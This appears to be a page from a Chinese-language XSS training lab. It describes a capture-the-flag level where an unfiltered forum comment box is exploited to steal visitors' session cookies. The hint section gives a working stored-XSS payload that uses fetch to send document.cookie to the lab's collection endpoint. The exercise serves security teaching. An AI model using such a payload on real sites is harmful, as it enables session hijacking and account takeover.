靶场 15：综合实战 —— 利用存储型 XSS 窃取会话 Cookie

已通关

第 15 / 16 关 · 类型：存储型 / 危害利用 · 难度：进阶

实验说明：论坛评论区无任何过滤（与 02 关相同漏洞），本关研究漏洞的真实危害：把访问者的 Cookie 发送到攻击者的收集接口 /lab/15/steal。
通关目标：发布一条评论，使访问该页面的浏览器把 lab14session Cookie 发送到收集接口，并在“查看窃取日志”中出现 FLAG。

攻击者的窃取日志

暂未捕获到 FLAG，继续尝试吧。

时间	来源 UA	携带数据
（空）

收集接口：GET /lab/15/steal?c=...，任何请求都会被记录。

查看提示（建议先自行尝试）

提示：用 fetch 或 Image 发请求，例如 <script>fetch('/xss-lab/lab/15/steal?c='+encodeURIComponent(document.cookie))</script>。发帖后刷新页面，再打开窃取日志查看结果。